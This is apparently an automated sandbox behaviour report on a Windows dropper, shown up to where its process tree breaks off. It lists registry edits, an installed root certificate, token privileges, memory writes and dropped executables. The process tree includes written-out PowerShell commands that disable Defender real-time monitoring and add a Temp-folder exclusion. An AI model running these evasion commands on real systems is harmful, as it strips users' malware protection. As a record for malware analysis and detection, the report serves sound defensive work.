Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{J4ZPT3Z1-W6KY-VVT4-W36K-U3VX5NTXVQUQ}	rundll32.exe
Key created	\REGISTRY\USER\S-1-5-21-941723256-3451054534-3089625102-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\UserStateMigration\EdgeMigration	Process not Found
Key created	\REGISTRY\USER\S-1-5-21-941723256-3451054534-3089625102-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\Recovery	Process not Found
Key created	\REGISTRY\USER\S-1-5-21-941723256-3451054534-3089625102-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\Protected - It is a violation of Windows Policy to modify	Process not Found
Set value (data)	\REGISTRY\USER\S-1-5-21-941723256-3451054534-3089625102-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\Protected - It is a violation of Windows Policy to modify = 010000004cb8851fdea56d4f3ee9892351fbe8f2d43020fc524c2d2bcbc5dd6b61f574f69592250e05376188bed5b5decd63a507dc80eb52de8b103b9b391506	Process not Found
Set value (int)	\REGISTRY\USER\S-1-5-21-941723256-3451054534-3089625102-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\GPU\DXFeatureLevel = "0"	Process not Found
Set value (int)	\REGISTRY\USER\S-1-5-21-941723256-3451054534-3089625102-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Children\006\ACGStatus\ACGPolicyState = "6"	MicrosoftEdgeCP.exe
Key created	\REGISTRY\USER\S-1-5-21-941723256-3451054534-3089625102-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Children\001\Internet Settings\Cache\Content	MicrosoftEdgeCP.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-941723256-3451054534-3089625102-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\ReadingMode\FontSize = "3"	Process not Found
Key created	\REGISTRY\USER\S-1-5-21-941723256-3451054534-3089625102-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\FavOrder\Favorites	Process not Found
Key created	\REGISTRY\USER\S-1-5-21-941723256-3451054534-3089625102-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\BrowserEmulation\LowMic	Process not Found
Set value (data)	\REGISTRY\USER\S-1-5-21-941723256-3451054534-3089625102-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\Internet Settings\Zones\3\{A8A88C49-5EB2-4990-A1A2-087602 = 1a3761592352350c7a5f20172f1e1a190e2b017313371312141a152a	Process not Found
Key created	\REGISTRY\USER\S-1-5-21-941723256-3451054534-3089625102-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Internet Explorer\Main	Process not Found
Set value (int)	\REGISTRY\USER\S-1-5-21-941723256-3451054534-3089625102-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\GPU\VersionLow = "0"	Process not Found
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{M0HPL9J2-E2QA-LOQ0-Y78Y-P7DX5PPOKCIW}	svchost.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-941723256-3451054534-3089625102-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\DataStore\LastCleanup = 977f4f2bf0cad701	Process not Found
Key created	\REGISTRY\USER\S-1-5-21-941723256-3451054534-3089625102-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Children\001\Internet Settings\Cache\Extensible Cache	MicrosoftEdgeCP.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-941723256-3451054534-3089625102-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\Roaming\ChangeUnitGenerationNeeded = "1"	Process not Found
Key created	\REGISTRY\USER\S-1-5-21-941723256-3451054534-3089625102-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\Protected - It is a violation of Windows Policy to modify. See aka.ms/browserpolicy\Extensions	Process not Found
Set value (int)	\REGISTRY\USER\S-1-5-21-941723256-3451054534-3089625102-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Children\006\CIStatus\CIPolicyState = "0"	MicrosoftEdgeCP.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-941723256-3451054534-3089625102-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\Main\JumpListFirstRun = "3"	Process not Found
Set value (int)	\REGISTRY\USER\S-1-5-21-941723256-3451054534-3089625102-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Children\001\Internet Settings\Cache\Content\CacheLimit = "256000"	MicrosoftEdgeCP.exe

Modifies system certificate store 2 TTPs 2 IoCs

evasion spyware trojan

Install Root Certificate

T1130

Modify Registry

description	ioc	Process
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\D1EB23A46D17D68FD92564C2F1F1601764D8E349	Tue0971aafeebb6f.exe
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\D1EB23A46D17D68FD92564C2F1F1601764D8E349\Blob = 5c0000000100000004000000000800000f00000001000000140000003e8e6487f8fd27d322a269a71edaac5d57811286090000000100000054000000305206082b0601050507030206082b06010505070303060a2b0601040182370a030406082b0601050507030406082b0601050507030606082b0601050507030706082b0601050507030106082b0601050507030853000000010000004300000030413022060c2b06010401b231010201050130123010060a2b0601040182373c0101030200c0301b060567810c010330123010060a2b0601040182373c0101030200c0620000000100000020000000d7a7a0fb5d7e2731d771e9484ebcdef71d5f0c3e0a2948782bc83ee0ea699ef40b000000010000001c0000005300650063007400690067006f002000280041004100410029000000140000000100000014000000a0110a233e96f107ece2af29ef82a57fd030a4b41d00000001000000100000002e0d6875874a44c820912e85e964cfdb030000000100000014000000d1eb23a46d17d68fd92564c2f1f1601764d8e3491900000001000000100000002aa1c05e2ae606f198c2c5e937c97aa2200000000100000036040000308204323082031aa003020102020101300d06092a864886f70d0101050500307b310b3009060355040613024742311b301906035504080c1247726561746572204d616e636865737465723110300e06035504070c0753616c666f7264311a3018060355040a0c11436f6d6f646f204341204c696d697465643121301f06035504030c18414141204365727469666963617465205365727669636573301e170d3034303130313030303030305a170d3238313233313233353935395a307b310b3009060355040613024742311b301906035504080c1247726561746572204d616e636865737465723110300e06035504070c0753616c666f7264311a3018060355040a0c11436f6d6f646f204341204c696d697465643121301f06035504030c1841414120436572746966696361746520536572766963657330820122300d06092a864886f70d01010105000382010f003082010a0282010100be409df46ee1ea76871c4d45448ebe46c883069dc12afe181f8ee402faf3ab5d508a16310b9a06d0c57022cd492d5463ccb66e68460b53eacb4c24c0bc724eeaf115aef4549a120ac37ab23360e2da8955f32258f3dedccfef8386a28c944f9f68f29890468427c776bfe3cc352c8b5e07646582c048b0a891f9619f762050a891c766b5eb78620356f08a1a13ea31a31ea099fd38f6f62732586f07f56bb8fb142bafb7aaccd6635f738cda0599a838a8cb17783651ace99ef4783a8dcf0fd942e2980cab2f9f0e01deef9f9949f12ddfac744d1b98b547c5e529d1f99018c7629cbe83c7267b3e8a25c7c0dd9de6356810209d8fd8ded2c3849c0d5ee82fc90203010001a381c03081bd301d0603551d0e04160414a0110a233e96f107ece2af29ef82a57fd030a4b4300e0603551d0f0101ff040403020106300f0603551d130101ff040530030101ff307b0603551d1f047430723038a036a0348632687474703a2f2f63726c2e636f6d6f646f63612e636f6d2f414141436572746966696361746553657276696365732e63726c3036a034a0328630687474703a2f2f63726c2e636f6d6f646f2e6e65742f414141436572746966696361746553657276696365732e63726c300d06092a864886f70d010105050003820101000856fc02f09be8ffa4fad67bc64480ce4fc4c5f60058cca6b6bc1449680476e8e6ee5dec020f60d68d50184f264e01e3e6b0a5eebfbc745441bffdfc12b8c74f5af48960057f60b7054af3f6f1c2bfc4b97486b62d7d6bccd2f346dd2fc6e06ac3c334032c7d96dd5ac20ea70a99c1058bab0c2ff35c3acf6c37550987de53406c58effcb6ab656e04f61bdc3ce05a15c69ed9f15948302165036cece92173ec9b03a1e037ada015188ffaba02cea72ca910132cd4e50826ab229760f8905e74d4a29a53bdf2a968e0a26ec2d76cb1a30f9ebfeb68e756f2aef2e32b383a0981b56b85d7be2ded3f1ab7b263e2f5622c82d46a004150f139839f95e93696986e	Tue0971aafeebb6f.exe

Runs ping.exe 1 TTPs 1 IoCs

Remote System Discovery

T1018

pid	Process
5176	PING.EXE

Script User-Agent 1 IoCs

Uses user-agent string associated with script host/environment.

description	flow	ioc
HTTP User-Agent header	64	Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
1400	powershell.exe
1400	powershell.exe
2228	powershell.exe
2228	powershell.exe
1400	powershell.exe
2228	powershell.exe
3700	Tue09792fda06e.exe
3700	Tue09792fda06e.exe
4312	Tue0990c8b597f.tmp
4312	Tue0990c8b597f.tmp
1400	powershell.exe
1400	powershell.exe
2228	powershell.exe
2228	powershell.exe
2764	run.exe
2764	run.exe
2764	run.exe
2764	run.exe
3040	Explorer.EXE
3040	Explorer.EXE
3040	Explorer.EXE
3040	Explorer.EXE
3040	Explorer.EXE
3040	Explorer.EXE
3040	Explorer.EXE
3040	Explorer.EXE
3040	Explorer.EXE
3040	Explorer.EXE
3040	Explorer.EXE
3040	Explorer.EXE
3040	Explorer.EXE
3040	Explorer.EXE
3040	Explorer.EXE
3040	Explorer.EXE
4932	WerFault.exe
4932	WerFault.exe
4932	WerFault.exe
4932	WerFault.exe
4932	WerFault.exe
4932	WerFault.exe
4932	WerFault.exe
4932	WerFault.exe
4932	WerFault.exe
4932	WerFault.exe
4932	WerFault.exe
4932	WerFault.exe
4932	WerFault.exe
4932	WerFault.exe
4932	WerFault.exe
4932	WerFault.exe
4932	WerFault.exe
4932	WerFault.exe
4932	WerFault.exe
3040	Explorer.EXE
3040	Explorer.EXE
3040	Explorer.EXE
3040	Explorer.EXE
4756	taskkill.exe
4756	taskkill.exe
3040	Explorer.EXE
3040	Explorer.EXE
3040	Explorer.EXE
3040	Explorer.EXE
3040	Explorer.EXE

Suspicious behavior: GetForegroundWindowSpam 1 IoCs

pid	Process
3040	Explorer.EXE

Suspicious behavior: MapViewOfSection 11 IoCs

pid	Process
3700	Tue09792fda06e.exe
6020	ybS3o3xy6Gca9lbgcvF8DTmY.exe
6020	ybS3o3xy6Gca9lbgcvF8DTmY.exe
2416	1k6rpdU0gxBNmXN72xnE1Y53.exe
6020	ybS3o3xy6Gca9lbgcvF8DTmY.exe
6020	ybS3o3xy6Gca9lbgcvF8DTmY.exe
2416	1k6rpdU0gxBNmXN72xnE1Y53.exe
2416	1k6rpdU0gxBNmXN72xnE1Y53.exe
6272	VbCuGo6ubmmQTyQO2vcRYZHF.exe
2360	cmd.exe
2360	cmd.exe

Suspicious behavior: SetClipboardViewer 2 IoCs

pid	Process
7452	7954434.exe
7324	7200620.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	3804	Tue0978af55b9.exe
Token: SeDebugPrivilege	3048	Tue0985edbf92e08954.exe
Token: SeCreateTokenPrivilege	2372	Tue0971aafeebb6f.exe
Token: SeAssignPrimaryTokenPrivilege	2372	Tue0971aafeebb6f.exe
Token: SeLockMemoryPrivilege	2372	Tue0971aafeebb6f.exe
Token: SeIncreaseQuotaPrivilege	2372	Tue0971aafeebb6f.exe
Token: SeMachineAccountPrivilege	2372	Tue0971aafeebb6f.exe
Token: SeTcbPrivilege	2372	Tue0971aafeebb6f.exe
Token: SeSecurityPrivilege	2372	Tue0971aafeebb6f.exe
Token: SeTakeOwnershipPrivilege	2372	Tue0971aafeebb6f.exe
Token: SeLoadDriverPrivilege	2372	Tue0971aafeebb6f.exe
Token: SeSystemProfilePrivilege	2372	Tue0971aafeebb6f.exe
Token: SeSystemtimePrivilege	2372	Tue0971aafeebb6f.exe
Token: SeProfSingleProcessPrivilege	2372	Tue0971aafeebb6f.exe
Token: SeIncBasePriorityPrivilege	2372	Tue0971aafeebb6f.exe
Token: SeCreatePagefilePrivilege	2372	Tue0971aafeebb6f.exe
Token: SeCreatePermanentPrivilege	2372	Tue0971aafeebb6f.exe
Token: SeBackupPrivilege	2372	Tue0971aafeebb6f.exe
Token: SeRestorePrivilege	2372	Tue0971aafeebb6f.exe
Token: SeShutdownPrivilege	2372	Tue0971aafeebb6f.exe
Token: SeDebugPrivilege	2372	Tue0971aafeebb6f.exe
Token: SeAuditPrivilege	2372	Tue0971aafeebb6f.exe
Token: SeSystemEnvironmentPrivilege	2372	Tue0971aafeebb6f.exe
Token: SeChangeNotifyPrivilege	2372	Tue0971aafeebb6f.exe
Token: SeRemoteShutdownPrivilege	2372	Tue0971aafeebb6f.exe
Token: SeUndockPrivilege	2372	Tue0971aafeebb6f.exe
Token: SeSyncAgentPrivilege	2372	Tue0971aafeebb6f.exe
Token: SeEnableDelegationPrivilege	2372	Tue0971aafeebb6f.exe
Token: SeManageVolumePrivilege	2372	Tue0971aafeebb6f.exe
Token: SeImpersonatePrivilege	2372	Tue0971aafeebb6f.exe
Token: SeCreateGlobalPrivilege	2372	Tue0971aafeebb6f.exe
Token: 31	2372	Tue0971aafeebb6f.exe
Token: 32	2372	Tue0971aafeebb6f.exe
Token: 33	2372	Tue0971aafeebb6f.exe
Token: 34	2372	Tue0971aafeebb6f.exe
Token: 35	2372	Tue0971aafeebb6f.exe
Token: SeDebugPrivilege	2228	powershell.exe
Token: SeDebugPrivilege	1400	powershell.exe
Token: SeRestorePrivilege	4932	WerFault.exe
Token: SeBackupPrivilege	4932	WerFault.exe
Token: SeShutdownPrivilege	3040	Explorer.EXE
Token: SeCreatePagefilePrivilege	3040	Explorer.EXE
Token: SeShutdownPrivilege	3040	Explorer.EXE
Token: SeCreatePagefilePrivilege	3040	Explorer.EXE
Token: SeDebugPrivilege	4932	WerFault.exe
Token: SeDebugPrivilege	2056	taskkill.exe
Token: SeShutdownPrivilege	3040	Explorer.EXE
Token: SeCreatePagefilePrivilege	3040	Explorer.EXE
Token: SeDebugPrivilege	4756	taskkill.exe
Token: SeShutdownPrivilege	3040	Explorer.EXE
Token: SeCreatePagefilePrivilege	3040	Explorer.EXE
Token: SeShutdownPrivilege	3040	Explorer.EXE
Token: SeCreatePagefilePrivilege	3040	Explorer.EXE
Token: SeShutdownPrivilege	3040	Explorer.EXE
Token: SeCreatePagefilePrivilege	3040	Explorer.EXE
Token: SeDebugPrivilege	1384	WerFault.exe
Token: SeDebugPrivilege	1016	WerFault.exe
Token: SeShutdownPrivilege	3040	Explorer.EXE
Token: SeCreatePagefilePrivilege	3040	Explorer.EXE
Token: SeShutdownPrivilege	3040	Explorer.EXE
Token: SeCreatePagefilePrivilege	3040	Explorer.EXE
Token: SeShutdownPrivilege	3040	Explorer.EXE
Token: SeCreatePagefilePrivilege	3040	Explorer.EXE
Token: SeDebugPrivilege	2992	WerFault.exe

Suspicious use of FindShellTrayWindow 59 IoCs

pid	Process
1704	Tue0947ef38552fc.exe
1704	Tue0947ef38552fc.exe
1704	Tue0947ef38552fc.exe
1704	Tue0947ef38552fc.exe
1704	Tue0947ef38552fc.exe
1704	Tue0947ef38552fc.exe
1704	Tue0947ef38552fc.exe
1704	Tue0947ef38552fc.exe
4312	Tue0990c8b597f.tmp
1704	Tue0947ef38552fc.exe
1704	Tue0947ef38552fc.exe
1624	run2.exe
1624	run2.exe
1624	rundll32.exe
1624	rundll32.exe
1624	rundll32.exe
1624	rundll32.exe
1624	rundll32.exe
1624	rundll32.exe
1624	rundll32.exe
1624	rundll32.exe
1624	rundll32.exe
1624	rundll32.exe
1624	rundll32.exe
1624	rundll32.exe
1624	rundll32.exe
1624	rundll32.exe
1624	rundll32.exe
1624	rundll32.exe
1624	rundll32.exe
1624	rundll32.exe
1624	rundll32.exe
1624	rundll32.exe
1624	rundll32.exe
1624	rundll32.exe
1624	rundll32.exe
1624	rundll32.exe
1624	rundll32.exe
1624	rundll32.exe
1624	rundll32.exe
3040	Explorer.EXE
3040	Explorer.EXE
3040	Explorer.EXE
3040	Explorer.EXE
3020	setup.tmp
816	Altrove.exe.com
3040	Explorer.EXE
3040	Explorer.EXE
816	Altrove.exe.com
816	Altrove.exe.com
3040	Explorer.EXE
3040	Explorer.EXE
7224	Altrove.exe.com
3040	Explorer.EXE
3040	Explorer.EXE
7224	Altrove.exe.com
7224	Altrove.exe.com
3040	Explorer.EXE
3040	Explorer.EXE

Suspicious use of SendNotifyMessage 47 IoCs

pid	Process
1704	Tue0947ef38552fc.exe
1704	Tue0947ef38552fc.exe
1704	Tue0947ef38552fc.exe
1704	Tue0947ef38552fc.exe
1704	Tue0947ef38552fc.exe
1704	Tue0947ef38552fc.exe
1704	Tue0947ef38552fc.exe
1704	Tue0947ef38552fc.exe
1704	Tue0947ef38552fc.exe
1624	run2.exe
1624	run2.exe
1624	rundll32.exe
1624	rundll32.exe
1624	rundll32.exe
1624	rundll32.exe
1624	rundll32.exe
1624	rundll32.exe
1624	rundll32.exe
1624	rundll32.exe
1624	rundll32.exe
1624	rundll32.exe
1624	rundll32.exe
1624	rundll32.exe
1624	rundll32.exe
1624	rundll32.exe
1624	rundll32.exe
1624	rundll32.exe
1624	rundll32.exe
1624	rundll32.exe
1624	rundll32.exe
1624	rundll32.exe
1624	rundll32.exe
1624	rundll32.exe
1624	rundll32.exe
1624	rundll32.exe
1624	rundll32.exe
1624	rundll32.exe
1624	rundll32.exe
3040	Explorer.EXE
3040	Explorer.EXE
3040	Explorer.EXE
816	Altrove.exe.com
816	Altrove.exe.com
816	Altrove.exe.com
7224	Altrove.exe.com
7224	Altrove.exe.com
7224	Altrove.exe.com

Suspicious use of SetWindowsHookEx 3 IoCs

pid	Process
3040	Explorer.EXE
1728	Process not Found
5048	MicrosoftEdgeCP.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 828 wrote to memory of 1020	828	setup_x86_x64_install.exe	77
PID 828 wrote to memory of 1020	828	setup_x86_x64_install.exe	77
PID 828 wrote to memory of 1020	828	setup_x86_x64_install.exe	77
PID 1020 wrote to memory of 3784	1020	setup_installer.exe	78
PID 1020 wrote to memory of 3784	1020	setup_installer.exe	78
PID 1020 wrote to memory of 3784	1020	setup_installer.exe	78
PID 3784 wrote to memory of 3660	3784	setup_install.exe	81
PID 3784 wrote to memory of 3660	3784	setup_install.exe	81
PID 3784 wrote to memory of 3660	3784	setup_install.exe	81
PID 3784 wrote to memory of 3116	3784	setup_install.exe	82
PID 3784 wrote to memory of 3116	3784	setup_install.exe	82
PID 3784 wrote to memory of 3116	3784	setup_install.exe	82
PID 3784 wrote to memory of 1384	3784	setup_install.exe	83
PID 3784 wrote to memory of 1384	3784	setup_install.exe	83
PID 3784 wrote to memory of 1384	3784	setup_install.exe	83
PID 3784 wrote to memory of 1476	3784	setup_install.exe	84
PID 3784 wrote to memory of 1476	3784	setup_install.exe	84
PID 3784 wrote to memory of 1476	3784	setup_install.exe	84
PID 3784 wrote to memory of 2364	3784	setup_install.exe	85
PID 3784 wrote to memory of 2364	3784	setup_install.exe	85
PID 3784 wrote to memory of 2364	3784	setup_install.exe	85
PID 3784 wrote to memory of 1180	3784	setup_install.exe	88
PID 3784 wrote to memory of 1180	3784	setup_install.exe	88
PID 3784 wrote to memory of 1180	3784	setup_install.exe	88
PID 3660 wrote to memory of 2228	3660	cmd.exe	87
PID 3660 wrote to memory of 2228	3660	cmd.exe	87
PID 3660 wrote to memory of 2228	3660	cmd.exe	87
PID 3116 wrote to memory of 1400	3116	cmd.exe	86
PID 3116 wrote to memory of 1400	3116	cmd.exe	86
PID 3116 wrote to memory of 1400	3116	cmd.exe	86
PID 3784 wrote to memory of 1464	3784	setup_install.exe	89
PID 3784 wrote to memory of 1464	3784	setup_install.exe	89
PID 3784 wrote to memory of 1464	3784	setup_install.exe	89
PID 3784 wrote to memory of 2324	3784	setup_install.exe	90
PID 3784 wrote to memory of 2324	3784	setup_install.exe	90
PID 3784 wrote to memory of 2324	3784	setup_install.exe	90
PID 3784 wrote to memory of 2292	3784	setup_install.exe	91
PID 3784 wrote to memory of 2292	3784	setup_install.exe	91
PID 3784 wrote to memory of 2292	3784	setup_install.exe	91
PID 3784 wrote to memory of 1976	3784	setup_install.exe	95
PID 3784 wrote to memory of 1976	3784	setup_install.exe	95
PID 3784 wrote to memory of 1976	3784	setup_install.exe	95
PID 3784 wrote to memory of 2020	3784	setup_install.exe	92
PID 3784 wrote to memory of 2020	3784	setup_install.exe	92
PID 3784 wrote to memory of 2020	3784	setup_install.exe	92
PID 1476 wrote to memory of 2016	1476	cmd.exe	94
PID 1476 wrote to memory of 2016	1476	cmd.exe	94
PID 1476 wrote to memory of 2016	1476	cmd.exe	94
PID 3784 wrote to memory of 2160	3784	setup_install.exe	93
PID 3784 wrote to memory of 2160	3784	setup_install.exe	93
PID 3784 wrote to memory of 2160	3784	setup_install.exe	93
PID 2364 wrote to memory of 2600	2364	cmd.exe	96
PID 2364 wrote to memory of 2600	2364	cmd.exe	96
PID 1384 wrote to memory of 3048	1384	cmd.exe	99
PID 1384 wrote to memory of 3048	1384	cmd.exe	99
PID 3784 wrote to memory of 3016	3784	setup_install.exe	97
PID 3784 wrote to memory of 3016	3784	setup_install.exe	97
PID 3784 wrote to memory of 3016	3784	setup_install.exe	97
PID 2324 wrote to memory of 3036	2324	cmd.exe	98
PID 2324 wrote to memory of 3036	2324	cmd.exe	98
PID 2324 wrote to memory of 3036	2324	cmd.exe	98
PID 3784 wrote to memory of 3160	3784	setup_install.exe	120
PID 3784 wrote to memory of 3160	3784	setup_install.exe	120
PID 3784 wrote to memory of 3160	3784	setup_install.exe	120

C:\Windows\Explorer.EXE
C:\Windows\Explorer.EXE
1⤵
- Drops file in Windows directory
- Modifies registry class
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: GetForegroundWindowSpam
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
- Suspicious use of SetWindowsHookEx
PID:3040
- C:\Users\Admin\AppData\Local\Temp\setup_x86_x64_install.exe
  "C:\Users\Admin\AppData\Local\Temp\setup_x86_x64_install.exe"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:828
- - C:\Users\Admin\AppData\Local\Temp\setup_installer.exe
    "C:\Users\Admin\AppData\Local\Temp\setup_installer.exe"
    3⤵
    - Executes dropped EXE
    - Suspicious use of WriteProcessMemory
    PID:1020
  - - C:\Users\Admin\AppData\Local\Temp\7zSCF3FA1E5\setup_install.exe
      "C:\Users\Admin\AppData\Local\Temp\7zSCF3FA1E5\setup_install.exe"
      4⤵
      Executes dropped EXE
      Loads dropped DLL
      Suspicious use of WriteProcessMemory
      PID:3784
    - - C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /c powershell -inputformat none -outputformat none -NonInteractive -Command Set-MpPreference -DisableRealtimeMonitoring $true -SubmitSamplesConsent NeverSend -MAPSReporting Disable
        5⤵
        Suspicious use of WriteProcessMemory
        
        PID:3660
      - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -inputformat none -outputformat none -NonInteractive -Command Set-MpPreference -DisableRealtimeMonitoring $true -SubmitSamplesConsent NeverSend -MAPSReporting Disable
        6⤵
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:2228
    - - C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /c powershell -inputformat none -outputformat none -NonInteractive -Command Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Local\Temp"
        5⤵
        Suspicious use of WriteProcessMemory
        
        PID:3116
      - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -inputformat none -outputformat none -NonInteractive -Command Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Local\Temp"
        6⤵
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:1400
    - - C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /c Tue0985edbf92e08954.exe
        5⤵
        Suspicious use of WriteProcessMemory
        
        PID:1384
      - C:\Users\Admin\AppData\Local\Temp\7zSCF3FA1E5\Tue0985edbf92e08954.exe
        
        Tue0985edbf92e08954.exe
        6⤵
        Executes dropped EXE
        Suspicious use of AdjustPrivilegeToken
        
        PID:3048
        
        C:\ProgramData\8757714.exe
        
        "C:\ProgramData\8757714.exe"
        7⤵
        
        PID:4756
        
        C:\ProgramData\1721671.exe
        
        "C:\ProgramData\1721671.exe"
        7⤵
        Executes dropped EXE
        Adds Run key to start application
        
        PID:4776
        
        C:\Users\Admin\AppData\Roaming\WinHost\WinHoster.exe
        
        "C:\Users\Admin\AppData\Roaming\WinHost\WinHoster.exe"
        8⤵
        Executes dropped EXE
        
        PID:1184
        
        C:\ProgramData\4575337.exe
        
        "C:\ProgramData\4575337.exe"
        7⤵
        Executes dropped EXE
        
        PID:4876
        
        C:\ProgramData\3245233.exe
        
        "C:\ProgramData\3245233.exe"
        7⤵
        Executes dropped EXE
        
        PID:5016
    - - C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /c Tue09c257807a702a4.exe
        5⤵
        Suspicious use of WriteProcessMemory
        
        PID:1476
      - C:\Users\Admin\AppData\Local\Temp\7zSCF3FA1E5\Tue09c257807a702a4.exe
        
        Tue09c257807a702a4.exe
        6⤵
        Executes dropped EXE
        
        PID:2016
        
        C:\Users\Admin\Pictures\Adobe Films\Eav4hlSDvDzNefyaF_jZWFxW.exe
        
        "C:\Users\Admin\Pictures\Adobe Films\Eav4hlSDvDzNefyaF_jZWFxW.exe"
        7⤵
        Executes dropped EXE
        
        PID:5624
        
        C:\Users\Admin\Pictures\Adobe Films\D5srdA33bs5km2aShljAlLD7.exe
        
        "C:\Users\Admin\Pictures\Adobe Films\D5srdA33bs5km2aShljAlLD7.exe"
        7⤵
        
        PID:5820
        
        C:\Program Files (x86)\Company\NewProduct\jg1_1faf.exe
        
        "C:\Program Files (x86)\Company\NewProduct\jg1_1faf.exe"
        8⤵
        Executes dropped EXE
        Drops file in Program Files directory
        
        PID:5244
        
        C:\Program Files (x86)\Company\NewProduct\inst3.exe
        
        "C:\Program Files (x86)\Company\NewProduct\inst3.exe"
        8⤵
        Executes dropped EXE
        
        PID:5412
        
        C:\Program Files (x86)\Company\NewProduct\cutm3.exe
        
        "C:\Program Files (x86)\Company\NewProduct\cutm3.exe"
        8⤵
        Executes dropped EXE
        
        PID:5436
        
        C:\Users\Admin\Pictures\Adobe Films\42eI0GMULXD2U_NaDuSnkI8c.exe
        
        "C:\Users\Admin\Pictures\Adobe Films\42eI0GMULXD2U_NaDuSnkI8c.exe"
        7⤵
        
        PID:5860
        
        C:\Users\Admin\Pictures\Adobe Films\VbCuGo6ubmmQTyQO2vcRYZHF.exe
        
        "C:\Users\Admin\Pictures\Adobe Films\VbCuGo6ubmmQTyQO2vcRYZHF.exe"
        7⤵
        Executes dropped EXE
        Suspicious use of SetThreadContext
        
        PID:5936
        
        C:\Users\Admin\Pictures\Adobe Films\VbCuGo6ubmmQTyQO2vcRYZHF.exe
        
        "C:\Users\Admin\Pictures\Adobe Films\VbCuGo6ubmmQTyQO2vcRYZHF.exe"
        8⤵
        Executes dropped EXE
        Checks SCSI registry key(s)
        Suspicious behavior: MapViewOfSection
        
        PID:6272
        
        C:\Users\Admin\Pictures\Adobe Films\Vn8eZwEgswlmVS33xmSPaChK.exe
        
        "C:\Users\Admin\Pictures\Adobe Films\Vn8eZwEgswlmVS33xmSPaChK.exe"
        7⤵
        Executes dropped EXE
        Drops file in Program Files directory
        
        PID:5708
        
        C:\Users\Admin\Documents\JmT818DrrLubNNxaGdKoT6FZ.exe
        
        "C:\Users\Admin\Documents\JmT818DrrLubNNxaGdKoT6FZ.exe"
        8⤵
        
        PID:6292
        
        C:\Users\Admin\Pictures\Adobe Films\bIHoiJAtU6jWmXCZQs6TUIdO.exe
        
